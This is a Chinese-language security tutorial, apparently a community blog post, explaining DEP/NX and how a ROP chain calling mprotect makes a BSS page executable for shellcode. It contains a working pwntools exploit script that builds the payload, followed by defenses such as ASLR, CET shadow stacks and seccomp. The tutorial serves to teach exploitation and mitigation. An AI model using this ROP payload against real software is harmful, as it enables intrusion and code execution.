现代缓解机制击破(三):DEP/NX 机制与 ROP/mprotect 内存可执行转化
现代缓解机制击破(三):DEP/NX 机制与 ROP/mprotect 内存可执行转化

在早期的二进制安全攻防中,攻击者一旦发现缓冲区溢出(Stack Buffer Overflow)漏洞,只需将精心构造的机器码(Shellcode)直接写入栈空间,并覆写函数返回地址指向该栈内存,即可夺取控制权。
为了终结这种攻击,硬件厂商与操作系统引入了数据执行保护(DEP / Data Execution Prevention,Linux 下通常称为 NX,No-Execute)。
DEP/NX 机制的核心实现:W^X 原则
DEP/NX 依赖现代 CPU 的硬件 MMU(内存管理单元)中的 NX/XD(No-Execute / Execute-Disable)位支持。
在操作系统的虚拟内存管理中,内存页表项(PTE)增加了一个执行权限位。系统遵循严格的 $W \oplus X$(Write XOR Execute,即“可写不可执行,可执行不可写”) 规则:
- 代码段(.text):具备读与执行权限(
PROT_READ | PROT_EXEC),不可写。 - 数据段/堆/栈(.data, .bss, Heap, Stack):具备读与写权限(
PROT_READ | PROT_WRITE),不可执行。
当 CPU 的指令指针寄存器(RIP/EIP)试图跳转并读取标记为不可执行的栈或堆内存执行机器码时,MMU 会立即触发硬件页错误异常,内核向该进程发送 SIGSEGV 信号直接终止程序。
绕过思路:ROP 链与 mprotect 属性转换
既然无法直接在栈上运行代码,攻击者演进出了两类核心对抗策略:
- 纯代码复用攻击(Code Reuse Attack / ROP):利用程序自身或已加载动态库(如 libc)中现成的代码片段(Gadget,以
ret指令结尾的汇编指令序列),通过连续构造栈帧,串联完成系统调用(如execve("/bin/sh", 0, 0))。 - 内存属性动态修改(mprotect 转换法):利用 ROP 链调用 Linux 系统的
mprotect系统调用,将一块我们可写入受控数据的内存区域(如 BSS 段或固定地址的堆栈页)重新赋予PROT_READ | PROT_WRITE | PROT_EXEC(可读、可写、可执行)权限,随后直接将程序流跳转到该内存段。
Linux x86_64 下的 mprotect 系统调用规范
int mprotect(void *addr, size_t len, int prot);
addr:必须对齐到内存页大小(Page Aligned,通常是 4096 字节倍数,即低 12 位必须为0x000)。len:需要修改属性的内存长度(例如0x1000)。prot:期望的目标权限位,PROT_READ(1) | PROT_WRITE(2) | PROT_EXEC(4) = 7。
根据 System V AMD64 调用约定,前三个函数参数分别通过寄存器传递:
- 第 1 参数 ->
RDI - 第 2 参数 ->
RSI - 第 3 参数 ->
RDX
因此,我们需要在二进制文件中搜索对应的 Gadget:
pop rdi; retpop rsi; retpop rdx; ret(或pop rdx; pop r12; ret)
ROP 构造与 mprotect 内存转换脚本分析
下面通过一个典型的 Python Pwntools 脚本,完整展示如何搜寻 Gadget 并串联 ROP 链以执行 mprotect 属性修改:
from pwn import *
# 设定目标环境与架构
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
# 加载本地 ELF 目标
elf = ELF('./vulnerable_app')
# 假设已知目标已泄露 libc 基址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = 0x7ffff79e2000
libc.address = libc_base
# 目标内存段信息(选取 BSS 段的一页并进行页对齐)
bss_addr = elf.bss()
target_page = bss_addr & ~0xFFF # 4KB 页对齐
page_size = 0x1000
prot_rwx = 7 # PROT_READ | PROT_WRITE | PROT_EXEC
log.info(f"BSS 虚拟地址: {hex(bss_addr)}")
log.info(f"页对齐修改起始地址: {hex(target_page)}")
# 搜寻 Gadget 地址
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
mprotect_addr = libc.symbols['mprotect']
read_addr = libc.symbols['read']
log.info(f"Gadget pop rdi: {hex(pop_rdi)}")
log.info(f"mprotect 函数地址: {hex(mprotect_addr)}")
# 构造 ROP Payload
# 1. 填充缓冲区至返回地址(假设偏移量为 72 字节)
offset = 72
payload = b'A' * offset
# 2. 构造第 1 阶段 ROP:调用 mprotect(target_page, page_size, 7)
payload += p64(pop_rdi)
payload += p64(target_page)
payload += p64(pop_rsi)
payload += p64(page_size)
payload += p64(pop_rdx)
payload += p64(prot_rwx)
payload += p64(0) # 填充 pop r12
payload += p64(mprotect_addr)
# 3. 构造第 2 阶段 ROP:调用 read(0, target_page, 0x100) 将 Shellcode 写入该可执行页
payload += p64(pop_rdi)
payload += p64(0) # fd = 0 (stdin)
payload += p64(pop_rsi)
payload += p64(target_page)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(0) # 填充 pop r12
payload += p64(read_addr)
# 4. 构造第 3 阶段 ROP:直接返回执行写入的 target_page
payload += p64(target_page)
log.success(f"ROP Chain 构造完毕,总长度: {len(payload)} 字节")
防御加固与深层缓解措施
仅靠 DEP/NX 无法完全防御控制流劫持,现代防御体系采用了纵深防御组合拳:
- 全地址空间随机化(Full ASLR / PIE):将代码段、数据段、堆栈以及共享库的加载基址全部随机化,使攻击者无法静态硬编码 Gadget 虚拟地址。
- 控制流完整性保护(CFI & Intel CET):
- 编译器启用 Clang
-fsanitize=cfi。 - 硬件级影子栈(Shadow Stack / Intel CET):在硬件层面维护不可篡改的返回地址栈,
ret指令执行时如果返回地址与影子栈不一致,立即由 CPU 硬件抛出 Control Protection Fault(#CP)。
- 编译器启用 Clang
- 增强型 Seccomp 沙箱过滤:在应用完成初始化后,通过
seccomp-bpf限制进程只能调用特定的白名单系统调用,严格禁止在运行时调用mprotect或限制mprotect不能将内存页标记为可执行。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐
所有评论(0)